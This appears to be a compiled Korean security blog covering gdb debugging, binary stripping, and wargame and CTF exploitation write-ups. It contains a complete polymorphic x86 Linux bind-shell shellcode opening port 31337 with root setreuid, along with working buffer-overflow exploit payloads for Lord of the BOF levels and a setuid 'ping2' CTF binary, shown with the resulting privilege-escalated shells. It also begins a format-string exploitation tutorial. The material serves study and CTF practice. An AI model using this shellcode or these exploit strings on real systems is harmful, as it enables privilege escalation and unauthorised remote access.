$1 = 0x0          // gdb 에서0x0 null이다 번지가 없다.

(gdb) s

Program received signal SIGSEGV, Segmentation fault.

0x40075434 in ?? ()     

// strcpy에서 segmentation fault 발생한 것을   있다.

// bug 번지를 할당하면 된다.

 

% gdb corebug core  // core파일을 이용하면 bug정보가 나온다.

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB.  Type “show warranty” for details.

This GDB was configured as “i386-redhat-linux”...

warning: core file may not match specified executable file.

Core was generated by ‘a.out’.

Program terminated with signal 11, 세그멘테이션 오류.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  strcpy (dest=0x0, src=0x8048490 “debug”) at ../sysdeps/generic/strcpy.c:38

../sysdeps/generic/strcpy.c: 그런 파일이나 디렉토리가 없음.

gdb signal 11 번과 함께 코어 파일이 생성되었음을 알려 준다여기서는 허가받지 않은 메모리 공간에 읽기쓰기를 시도했기 때문에 커널이 프로세스에게 signal 11 보냈다.

 시그널로 인해 프로세스는 종료하면서 코어 파일을 덤프한다.

 

l         기타 기능

 

gdb 매우 많은 기능을 가진 프로그램이다.

 

Breakpoint

중지점을 조건적으로 설정할  있다 어떤 동작이 참일 때만 작동하도록   있다Ex) break 184 if (stace == 0)

info break 사용하면 모든 중지점과 감시점 목록을 보여 주고  상태도 보여 준다.

disable 사용하여 작동불능으로   있고 enable 사용하여 가능하게  수도 있다.

 

 

인스트럭션 레벨 디버깅

gdb 통해 인스트럭션 레벨의 디버깅을   있으므로 프로그램의 매우 깊은 내부까지 조사할  있다.

(gdb) disass play      //play함수에 대한 디스어셈블리.

(gdb) display/ i $pc   //현재의 인스트럭션을 보여준다. $pc gdb내부 변수로서 현재인스트럭션의 위치를 가리키는 프로그램 카운터이다.

 

참고

GDB 대한 매뉴얼은

http://kkucc.konkuk.ac.kr/~kipal/html/gdb-man.html에서   있다.

(복사본)

http://pl.changwon.ac.kr/~chowing/gdb_man.html

Posted by k1rha
2012. 5. 6. 10:55

Title  : Polymorphic shellcode that bindport to 31337 with setreuid (0,0) x86 linux shellcode.
Name   : 131 bytes bind port 31337 x86 linux polymorphic shellcode.
Date   : Sat Jun  17 21:27:03 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (offensive-security.com)
greetzz to all devilzc0de, jasakom, yogyacarderlink, serverisdown, indonesianhacker and all my friend !!
*/
 
#include <stdio.h>
 
char bindport[] = "\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"
          "\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"
          "\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"
          "\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"
          "\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"
          "\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"
          "\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"
          "\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"
          "\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";
 
int main(void)
{
    fprintf(stdout,"Length: %d\n",strlen(bindport));
    (*(void(*)()) bindport)();
}

Posted by k1rha
2012. 4. 17. 14:44


FAKE EBP에 대해서 기술해 보도록 하겠다. 아주 특이한 케이스.. 사실 FAKE EBP는 공격 범위가 상대적으로 제한 적인 환경이다. 


레드햇 6 -> 레드햇 9으로 넘어 가면서 스택의 주소값이 random(랜덤 스택) 해지고 Fedora3 로 넘어가면서 스택(DEP)에 실행 권한이 없졌었다. 하지만 이 두가지를 전부 넘길수 있는 RTL 이라는 쉽고 편한 공격이 있기 때문에 fake ebp 같은경우엔 공격타겟이 잘 되지 않는 방향이다.  (RTL 을 그냥 쓰면되기에..)


하지만 개념적으로는 이해하기가 무척 좋다 SPO 공격 기법에서 ebp를 다루듯 SFP 에대한 instrument 는 활용도가 높기 때문이다. 뿐만 아니라 나중엔 ROP개념으로 체인을 걸어주기 위한 주소개념잡기에 도움이 많이 되는 부분이라 생각된다. 


최근 LOB문서 정리하는 일이 생기게 되었는데 겸사겸사 블로깅 해본다.


아래의 경우는 오버플로우 되는 지점의 주소값을 강제로 스택과 라이브러리 주소를 못쓰게 막아 놓았다. 때문에 코드의 흐름을 바꾸어 공격하는 FAKE_EBP공격을 사용해야 한다.


/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP

*/

 

#include <stdio.h>

#include <stdlib.h>

 

main(int argc, char *argv[])

{

        char buffer[40];

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

        if(argv[1][47] == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }

        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }

        // strncpy instead of strcpy!

        strncpy(buffer, argv[1], 48);

        printf("%s\n", buffer);

}





스택(\bf)도 사용 할 수 없고, 라이브러리(\xc0)도 사용 할 수 없다. 이럴 땐 12번 문제와 비슷하게 ebp를 속여서 공격하는 방법이 있다.

Leave를 한번 더 실행 시키는 기계어 \xc3\xc9 가 있는 주소값을 찾아 ret에 덮으면 leave가 한번더 실행되면서 원래의 ebp fake_ebp로 바꿀 수 있다.

Fake_ebp+4 한주소에                               [SFP]                   [ RET ]

&(buffer+4) + NOP +SHELLCODE         &(BUFFER-4)             c3c9 = leave +RET

                                                                                                  [buffer-4] -> buffer+4 =실행

 

 거꾸로 분석을 들어가면 편하다.  RET 에 들어가 있는 코드는 c3c9 의 주소이므로 leave ret을 한번 더 실행 시킨다. 이때 eip POP 하게 되면 4바이트를 소모하므로 buffer-4를 입력해 놓는 것이다이렇게 실행된 leave buffer 부분에는 있는 값을 EBP의 주소 값으로 참조 한다.

buffer의 처음 4 바이트는 buffer+4의 주소의 주소 값이 설정 되어 있으므로 buffer+4의 주소값을 EBP로 잡고 이 부분을 실행하게 된다. 





[assassin@localhost assassin]$ /bin/bash2

[assassin@localhost assassin]$ ./zombie_assassie `perl -e 'print "bbbb","\x90"x36,"cccc","dddd"'`

bbbbccccdddd

Segmentation fault (core dumped)

[assassin@localhost assassin]$ gdb -c core

GNU gdb 19991004

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux".

Core was generated by `./zombie_assassie bbbbccccdddd'.

Program terminated with signal 11, Segmentation fault.

#0  0x64646464 in ?? ()

(gdb) x/30x $esp-64

0xbffffaa0:     0xbffffad8      0x080484dc      0x0804857e      0xbffffab0

0xbffffab0:     0x62626262      0x90909090      0x90909090      0x90909090

0xbffffac0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffad0:     0x90909090      0x90909090      0x63636363      0x64646464

0xbffffae0:     0x00000002      0xbffffb24      0xbffffb30      0x40013868

0xbffffaf0:     0x00000002      0x08048390      0x00000000      0x080483b1

0xbffffb00:     0x08048440      0x00000002      0xbffffb24      0x080482e4

0xbffffb10:     0x0804851c      0x4000ae60

(gdb) print/x 0xbffffab0 - 0x4

$1 = 0xbffffaac

(gdb) print/x 0xbffffab0 - 0x+4

Invalid number "0x".

(gdb) print/x 0xbffffab0 + 0x4

$2 = 0xbffffab4

(gdb) quit

[assassin@localhost assassin]$ ./zombie_assassie  `perl -e 'print "\xb4\xfa\xff\xbf","\x31\xd2\x89\xd0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80","a"x11,"\xac\xfa\xff\xbf","\x04\x84\x04\x08"'`

´úÿ¿1Ò‰ÐRh//shh/bin‰ãRS‰á°

                          Í€aaaaaaaaaaa¬úÿ¿„

bash$ exit

exit

[assassin@localhost assassin]$ ./zombie_assassin  `perl -e 'print "\xb4\xfa\xff\xbf","\x31\xd2\x89\xd0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80","a"x11,"\xac\xfa\xff\xbf","\x04\x84\x04\x08"'`

´úÿ¿1Ò‰ÐRh//shh/bin‰ãRS‰á°

                          Í€aaaaaaaaaaa¬úÿ¿„

bash$ id

uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)

bash$
 






Posted by k1rha
2012. 4. 17. 14:43



SPO 라는 것은 EBP를 1바이트만 바꾸어주어 코드의 에필로그부분을 바꾸어 주는 공격 기법이다. 

개인적으로 이 공격이 좋은 이유는 C언어를 처음 배울 당시 내가 코딩상 많은 실수를 했던 부분이기 때문이다.

int buff[10];

for(int i=0;i<=10;i++){

buff[i];

}

이런식으로 부등호와 등호를 같이 쓰게되면 11개의 글자가 들어감으로써 1바이트가 오버플로우가 된다. 이럴때 사용할 수 있는 부분이다. 


다음은 해커스쿨 LOB 문제 12번이다. 


 

[golem@localhost golem]$ cat darkknight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - darkknight

        - FPO

*/

#include <stdio.h>

#include <stdlib.h>

 

void problem_child(char *src)

{

        char buffer[40];

        strncpy(buffer, src, 41);

        printf("%s\n", buffer);

}

main(int argc, char *argv[])

{

        if(argc<2){

                printf("argv error\n");

                exit(0);

        }

        problem_child(argv[1]);

}





SPO 라는 공격 기법은, sfp에 저장된 ebp값을 1바이트만 overwrite 하여 sfp 값의 앞자리만 변경하는 것이다. 이렇게 sfp 값이 변경 되었다면, 사용자 함수가 호출되고 나서, 다시 MAIN 함수로 돌아올 값이 sfp 값에 저장되게 되는데 이 값을 1바이트만 write 시켜줘서 다른 경로로 빠지게 만들 수 있다


이를 이용하여 공격을 하는 것이다.

변경된 sfp를 가지고 ret을 설정하는 과정에서(leave,ret) ebp+4(pop 때문에) ebp+4된 곳의 주소에서 주소 값을 가져와서 그것을 eip로 설정한다  그리고 그 다음 4바이트는 buffer의 주소값이 들어가 있으므로 buffer-8 의 주소 값을 ebp로 셋팅해 주면 된다.
 




[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xd2\x89\xd0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"+"\xa8"'`

bash$ id

uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)

bash$
 


Posted by k1rha
2012. 4. 1. 05:19

WG 혁이가 쓴 문제풀이법.. 

[출처] http://hkkiw0823.pe.kr/xe/index.php?mid=Security&document_srl=854



http://www.hackerschool.org/Sub_Html/HS_University/CTF/Codegate/2011/vuln300/vuln300.html


몽이형의 코드게이트 문제 풀이 강좌 



================================출처 포너.tistory ======================================



hust K번 풀이

대회 서버에 접속하면 ping2 파일이 있다.
ping2 파일이 하는일을 보기위해 소스를 보았다.

 

dr-xr-xr-x. 2 whatthe whatthe 4096 2011-10-03 09:41 .
drwxr-xr-x. 5 root    root    4096 2011-10-01 08:40 ..
lrwxrwxrwx. 1 root    root       9 2011-10-03 09:41 .bash_history -> /dev/null
-rw-r--r--. 1 whatthe whatthe   18 2010-06-23 00:15 .bash_logout
-rw-r--r--. 1 whatthe whatthe  176 2010-06-23 00:15 .bash_profile
-rw-r--r--. 1 whatthe whatthe  124 2010-06-23 00:15 .bashrc
-r-sr-xr-x. 1 gotroot gotroot 4907 2011-10-01 08:31 ping2
-rw-r--r--. 1 root    root     268 2011-10-01 08:31 ping2.c


[whatthe@k1rha ~]$ cat ping2.c
#include<stdio.h>
#include<string.h>
#include<stdlib.h>

extern char **environ;
int main(int argc,char* argv[]){

 
 char buff[100];


 if(argc<2){
  printf("Usage : ./[file] [argv]\n");
 }
 else{
  strcpy(buff,argv[1]);
  printf("%s\n",buff);
  system("ls"); 
 }


}

 

소스를 보면 전형적인 buffer overflow 문제이다.
대회 환경은 fedora core 14이다.

 

[whatthe@k1rha ~]$ uname -a
Linux k1rha 2.6.35.14-96.fc14.i686 #1 SMP Thu Sep 1 12:49:38 UTC 2011 i686 i686 i386 GNU/Linux

 

[whatthe@k1rha ~]$ cat /proc/self/maps
005c4000-00747000 r-xp 00000000 fd:00 1049216    /lib/libc-2.13.so
00747000-00748000 ---p 00183000 fd:00 1049216    /lib/libc-2.13.so
00748000-0074a000 r--p 00183000 fd:00 1049216    /lib/libc-2.13.so
0074a000-0074b000 rw-p 00185000 fd:00 1049216    /lib/libc-2.13.so

[whatthe@k1rha ~]$ cat /proc/self/maps
00d79000-00efc000 r-xp 00000000 fd:00 1049216    /lib/libc-2.13.so
00efc000-00efd000 ---p 00183000 fd:00 1049216    /lib/libc-2.13.so
00efd000-00eff000 r--p 00183000 fd:00 1049216    /lib/libc-2.13.so
00eff000-00f00000 rw-p 00185000 fd:00 1049216    /lib/libc-2.13.so

 

랜덤라이브러리에 아스키아머까지 걸려있다 -_-;
남아있는 희망을 위해 주소가 올 랜덤인지 확인하였다.

 

[whatthe@k1rha ~]$ gdb -q ping
Reading symbols from /bin/ping...(no debugging symbols found)...done.
Missing separate debuginfos, use: debuginfo-install iputils-20100418-3.fc14.i686
(gdb) b main
Breakpoint 1 at 0x8048427
(gdb) r
Starting program: /home/whatthe/ping2

Breakpoint 1, 0x08048427 in main ()
Missing separate debuginfos, use: debuginfo-install glibc-2.13-2.i686
(gdb) p execl
$1 = {<text variable, no debug info>} 0x1ac670 <execl>
(gdb) p execl

 

gdb로 살펴본 해본 결과 6~8번에 한번 꼴로 '0x1ac670' 주소가 반복 된다.


[whatthe@k1rha ~]$ strace ./ping2 `python -c 'print "a"*112+"\x37\x85\x04\x08"*22+"\x70\xc6\x1a"'`

execve("./ping2", ["./ping2", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...], [/* 27 vars */]) = 0
brk(0)                                  = 0x817f000
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb782f000

 .... 중략 ...

--- {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=11715, si_status=0, si_utime=0, si_stime=0} (Child exited) ---
execve("1\355^\211\341\203\344\360PTRh\340\204\4\10h\200\204\4\10QVh$\204\4\10\350\243\377\377\377\364\220\220\220\220\220\220\220\220\220\220\220\220\220\220U\211\345S\215d$\374\200=\4\227\4\10", [], [/* 27 vars */]) = -1 ENOENT (No such file or directory)
--- {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x2} (Segmentation fault) ---
+++ killed by SIGSEGV +++
?멸렇硫????댁?? ?ㅻ쪟
[whatthe@k1rha ~]$


ret 슬레딩으로 인자를 고정값이 있는곳으로 옮기고 execl함수를 실행시키면
6~8번에 한번꼴로 execve 함수가 실행이 되는것을 볼 수있다.

 

"1\355^\211\341\203\344\360PTRh\340\204\4\10h\200\204\4\10QVh$\204\4\10\350\243\377\377\377\364\220\220\220\220\220\220\220\220\220\220\220\220\220\220U\211\345S\215d$\374\200=\4\227\4\10"

 

이 고정값을 실행하고 권한 재설정을 위해 심볼릭싱크를 걸었다.
 
[whatthe@k1rha ~]$ cd /tmp
[whatthe@k1rha tmp]$ mkdir hkkiw0823 ; cd hkkiw0823/
[whatthe@k1rha hkkiw0823]$ cat > ex.c
#include <stdio.h>

void main(){
 setreuid(geteuid(),geteuid());
 execl("/bin/sh","sh",0);
}

[whatthe@k1rha hkkiw0823]$ gcc -o ex ex.
[whatthe@k1rha hkkiw0823]$ ln -s ex `python -c 'print "1\355^\211\341\203\344\360PTRh\340\204\4\10h\200\204\4\10QVh$\204\4\10\350\243\377\377\377\364\220\220\220\220\220\220\220\220\220\220\220\220\220\220U\211\345S\215d$\374\200=\4\227\4\10"'`
[whatthe@k1rha hkkiw0823]$ export PATH=./:$PATH

[whatthe@k1rha hkkiw0823]$ ls
1?^?????PTRh????h????QVh$????????????????????U??S?d$??=????  ex

 

6~7번 정도 실행해보면 쉘이 따인다.

 

[whatthe@k1rha hkkiw0823]$ /home/whatthe/ping2 `python -c 'print "a"*112+"\x37\x85\x04\x08"*22+"\x70\xc6\x1a"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?p?
1?^?????PTRh????h????QVh$????????????????????U??S?d$??=????  ex
?멸렇硫????댁?? ?ㅻ쪟
[whatthe@k1rha hkkiw0823]$ /home/whatthe/ping2 `python -c 'print "a"*112+"\x37\x85\x04\x08"*22+"\x70\xc6\x1a"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?p?
1?^?????PTRh????h????QVh$????????????????????U??S?d$??=????  ex
?멸렇硫????댁?? ?ㅻ쪟
[whatthe@k1rha hkkiw0823]$ /home/whatthe/ping2 `python -c 'print "a"*112+"\x37\x85\x04\x08"*22+"\x70\xc6\x1a"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?p?
1?^?????PTRh????h????QVh$????????????????????U??S?d$??=????  ex
?멸렇硫????댁?? ?ㅻ쪟
[whatthe@k1rha hkkiw0823]$ /home/whatthe/ping2 `python -c 'print "a"*112+"\x37\x85\x04\x08"*22+"\x70\xc6\x1a"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?p?
1?^?????PTRh????h????QVh$????????????????????U??S?d$??=????  ex
?멸렇硫????댁?? ?ㅻ쪟
[whatthe@k1rha hkkiw0823]$ /home/whatthe/ping2 `python -c 'print "a"*112+"\x37\x85\x04\x08"*22+"\x70\xc6\x1a"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?p?
1?^?????PTRh????h????QVh$????????????????????U??S?d$??=????  ex
sh-4.1$ 
sh-4.1$ 
sh-4.1$ id
uid=503(gotroot) gid=502(whatthe) groups=503(gotroot),502(whatthe) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.1$ /bin/bash
[gotroot@k1rha hkkiw0823]$ cd /home
[gotroot@k1rha home]$ ls
gotroot  point  whatthe
[gotroot@k1rha home]$ cd gotroot/
[gotroot@k1rha gotroot]$ ls
keyvalueresult
[gotroot@k1rha gotroot]$ cat keyvalueresult

wantedGirlfriend


키 : wantedGirlfriend


Posted by k1rha
2012. 4. 1. 00:52

파일이 스트립되어 있는 경우는 디버깅시 심볼밖에 출력 되지를 않는다.

그리고 바이너리로 옮겨서 아이다로 분석하여도 파일자체가 스트립된 것이기 때문에, 보여지지 않는다..

이방법에 대해서는 몽형의 동영상 강좌를 통해 좀더 학습해야겠다. 



우선 아래 스트립이란 무엇인가에 대해서 퍼왔다.  just in case 를 위해 복사했지만 가능하면 아래 주소로 가서 방문자 카운트나 올려주는겸해서 참가 하도록 하자. 


============================================출처 :http://mwmw7.tistory.com/231==============================

strip 이용하기

strip은 오브젝트 파일에 있는 심볼을 삭제하는 툴이다.

일반적으로 빌드 완료한 실행파일 또는 라이브러리에서 불필요한 심볼을 제거하는데 사용한다.


사용법

SYNOPSIS

      strip [-F bfdname |--target=bfdname]

    [-I bfdname |--input-target=bfdname]

    [-O bfdname |--output-target=bfdname]

    [-s|--strip-all]

    [-S|-g|-d|--strip-debug]

    [-K symbolname |--keep-symbol=symbolname]

    [-N symbolname |--strip-symbol=symbolname]

    [-w|--wildcard]

    [-x|--discard-all] [-X |--discard-locals]

    [-R sectionname |--remove-section=sectionname]

    [-o file] [-p|--preserve-dates]

    [--keep-file-symbols]

    [--only-keep-debug]

    [-v |--verbose] [-V|--version]

    [--help] [--info]

    objfile...


굉장히 욥션이 많지만... 실제 사용에서는 굉장히 간단하다.

root@boggle70-desktop:tmp# file a.out 

a.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), 

dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped



strip을 실행하고 확인해 보자.

root@boggle70-desktop:tmp# strip a.out 

root@boggle70-desktop:tmp# ls -la a.out 

-rwxr-xr-x 1 root root 5532 2011-03-26 16:56 a.out

root@boggle70-desktop:tmp# file a.out 

a.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), 

dynamically linked (uses shared libs), for GNU/Linux 2.6.15, stripped


파일 사이즈는 6096 -> 5532 byte 로 줄어들었고 파일의 정보에는 not stripped 라고 나오던것이

stripped 되었다고 나오게 된다.


하지만 strip 을 시키고 나면 아래와 같이 나옵니다.

root@boggle70-desktop:tmp# nm a.out 

nm: a.out: no symbols


이제 strip 을 사용할때 사용하는 옵션중에 -d 옵션을 보겠습니다.

root@boggle70-desktop:tmp# strip -d a.out

root@boggle70-desktop:tmp# ls -la a.out 

-rwxr-xr-x 1 root root 7492 2011-03-26 17:02 a.out

파일의 크기가 옵션없이 실행하는 것보다 약간 큽니다.

-d 옵션은 디버그용 정보만을 제거하는 옵션입니다.

때문에 nm 으로 출력시 동일한 실볼을 찾을 수는 있지만 파일명이나 행번호는 찾을수 없습니다.

따라서 addr2line 과 같은 것을 사용할수 없고 디버깅시에도 심볼네임만 볼수 있을뿐입니다.


-R 옵션은 지정된 섹션을 제거하는 옵션입니다.

만약 strip -R .text a.out 을 실행한다면... 그 프로그램은 실행하수 없습니다.

.text 는 code 영역이기 때문에 실행할 코드를 모두 제거하게 되기 때문입니다.


또 라이브러리 파일에 이것을 사용하면 다른 오브젝트와 링크가 불가능합니다.

링커는 심볼에 의존해서 오브젝트를 링크해주기 때문입니다.


strip 은 역시 BFD라이브러리를 이용해 제작된 툴입니다.

GNU binutils 의 소스코드는 objcopy 와 동일한 코드로 이루어져 있고

objcopy 명령에 -strip 을 사용하면 strip 과 같은 기능을 수행하게 됩니다.

====================================================================================================


Posted by k1rha
2012. 3. 29. 16:20
===========================================================================================================

출처 : http://geundi.tistory.com/133  by Genudi

그냥 링크를 할 수도 있었으나 혹시나 글이 지워질 사항을 대비하여 출처를 남기고 복사 하여 가져옵니다. 

좀 논리상 안맞지만 포멧 스트링 버그라는게 이해하기는 쉬워도 설명하기는 정말 까다로운 공격기법이라 생각하는데, 아래 분은 정말 잘 설명해 주셨더라구요. 


몇번 씩 다시 읽으면서 뜯어 고친 느낌도 나고, 경의를 표합니다.  

======================================================




1. 자 마지막 힌트 보시겠습니다.

#include <stdio.h>
main(int argc,char **argv)
{ char bleh[80];
  setreuid(3101,3101);
  fgets(bleh,79,stdin);
  printf(bleh);
}

음 setreuid는 있군요.. 그런데 쉘을 실행시키는 명령은 없네요. 쉘코드가 필요하겠군요.



2. 취약점 분석


  (1)소스분석


크게 소스분석은 필요하지 않을것 같네요. bleh라는 이름의 버퍼가 80바이트 크기로 선언이 되었습니다. 아 이런 그런데 fgets함수에 의해서 문자열을 입력은 받긴 하지만 그 최대길이를 79바이트로 제한을 해버렸습니다. 버퍼오버플로우는 불가능합니다. ret까지 덮어쓸 뭐시기가 없네요.

그럼 이문제는 무슨 문제일까요?


  (2)printf(bleh);

바로 이부분이 문제입니다. c언어 하루라도 공부해보신 분이라면 다 아시는 printf함수 사용에 독특함이 있다는 것을 알 수 있으실겁니다. printf함수는 대부분 이런식으로 사용하죠?

#include <stdio.h>

int main();
{
 int a=0;
 printf("%d" , a);  // 이렇게 따옴표와 서식문자 %d, 변수명을 이용합니다.
}


그 문제점이 무었일까요? 그래 바로 포맷스트링 버그 입니다.



3. 포맷스트링 버그

아 이에대한 설명을 다루어야 되나 말아야 되나 고민이 됩니다. 이에 대해서도 훌륭한 문서들이 많이 있는데 말이죠. 대충 그거 한번 읽어보세요 하고 넘어가기도 그렇습니다. 자세한 설명은 못해도 문제해결에 필요한 요소를 간단하게 나마 다루어 보겠습니다.

  (1)무엇이 문제일까?

사실 printf(bleh);하여도 bleh의 문자열의 화면 출력에 문제는 없습니다.

그런데 bleh 안에 서식문자 %d나 %x %s 등이 들어있을 때 문제가 됩니다.

printf(bleh); 이렇게 함수를 사용하게 되면 문자열을 출력하다가 bleh배열 안에서 %d나 %x %s 등을 만나면 이들을 출력해야할 문자열로 보지 않고 서식문자로 인식해버린다는 것입니다.

이렇게 문자열을 출력하다가 서식문자를 만나면 메모리의 다음 4바이트 참조해서 출력하는 등 그 기능을 수행버 버리는 것입니다,.

문제의 프로그램이 printf함수까지 실행된다고 했을 때 스택의 모습입니다.

                /-------------------------/  메모리의 높은 숫자의 주소
                 |         ret             |     Stack
                /------------------/
                 |         sfb            |
                /------------------/
                 |       쓰레기1       |
                /------------------/
                 |                         |
                 |       쓰레기2       |
                 |                         |
                /------------------/
                 |                         |
                 |       bleh[80]      |
                 |                         |
                /------------------/
                 |                         |
                 |       ??생략??     |
                 |                         |
                /------------------/
                 |                         |<-- 이부분은 printf함수의 인자(bleh)가 저장되는 곳입니다.
                 |     printf(bleh)    |       이곳은 bleh의 주소가 담겨져있죠.
                 |                         |
                 /-------------------------/   메모리의  낮은 숫자의 주소

이러한 모습을 가지고 있을 텐데요..

(??생략??된 부분은 setreuid와 fgets함수 가 수행되었을 거라 생각되는 부분입니다. printf함수까지 실행된다면 setreuid와 fgets함수에 할당되었던 메모리 공간은 반환되어서 그 크기는 0일 것 같은데요. 정확히는 모르는 상황입니다.)

이제 printf함수가 실행이 된다면 인자로서 스택에 저장이 된 bleh주소를 참조하여 화면에 출력을 시작할 것입니다.

현재 esp는 스택에서 printf함수의 인자로 저장된 곳의 시작점을 가리키고 있습니다.

                 메모리 높은 주소
                /------------------/
                 |                         |
                 |     printf(bleh)    | bleh의 주소가 들어가 있다.
                 |                         |
                 /-----------------/  <-- printf함수의 의해 화면이 출력될 때 esp가 가리키고 있는 곳
                  메모리 낮은 주소

만약에 bleh에 "AAAA%x"를 입력한다면 어떻게 될까요?

처음에는 AAAA를 출력하겠지만, 서식문자 %x를 만나는 순간 현재 esp에서 4바이트 증가한 부분의 메모리의 내용을 16진수로 출력하게 되는 것입니다. 그렇다면 지금 그림에서는 ??생략??된 부분의 처음 4바이트의 내용을 출력하게 될 것입니다.

이때 bhel[80]에는 아래와 같이 입력한 데이터가 들어가 있겠죠?

                 메모리 높은 주소
                /------------------/
                 |          %x            |
                 |           A              |
                 |           A              | bleh[80]
                 |           A              |
                 |           A              |
                 /-----------------/ 
                  메모리 낮은 주소


실제 그러한지 문제의 프로그램에서 "AAAA%x"를 입력해보겠습니다.

[level20@ftz level20]$ ./attackme
AAAA%x
AAAA4f

아 정말 AAAA가 출력되고 4f라는 16진수가 출력되었습니다.


만약에 아까 ??생략?? 된 부분의 크기가 0이었다면 어떻게 출력이 되었을까요?

                메모리 높은 주소
                /------------------/
                 |          %x            |
                 |           A              |
                 |           A              | bleh[80]
                 |           A              |
                 |           A              |
                /------------------/
                 |                          |
                 |     printf(bleh)     | bleh의 주소가 들어가 있다.(4바이트 크기)
                 |                          |
                 /-----------------/  <-- printf함수의 의해 화면이 출력될 때 esp가 가리키고 있는 곳
                  메모리 낮은 주소

이런 모습이었다면 "AAAA%x"를 입력했을 때 "AAAA0x41414141"이 출력이 되어야 겠습니다. 다음 4바이트가 바로 bleh[80]의 첫 4바이트에 해당되기 때문입니다.

그러면 실제 문제의 프로그램에서 서식문자를 몇개를 넣었을 때 비로소 bleh[80]이 읽히는지 알아보겠습니다.

[level20@ftz level20]$ ./attackme
AAAA%x%x
AAAA4f40157460

[level20@ftz level20]$ ./attackme
AAAA%x%x%x
AAAA4f401574604009d500

[level20@ftz level20]$ ./attackme
AAAA%x%x%x%x
AAAA4f401574604009d50041414141

서식문자 %x를 4개를 넣었을 때 비로소 A의 16진수가 나왔습니다.

자 그래서 뭘 어떻게 하라는 말일까요?


  (2)우리에게 필요한 서식문자 %n

레벨20을 해결하는 데에 가장 중요한 서식문자 %n이 있습니다. 여태껏 printf(bleh) 이런식으로 사용하면 문자열중에 %d등과 같은 서식문자를 만나면 스택에서 다음 4바이트를 읽어서 출력한다고 했습니다.

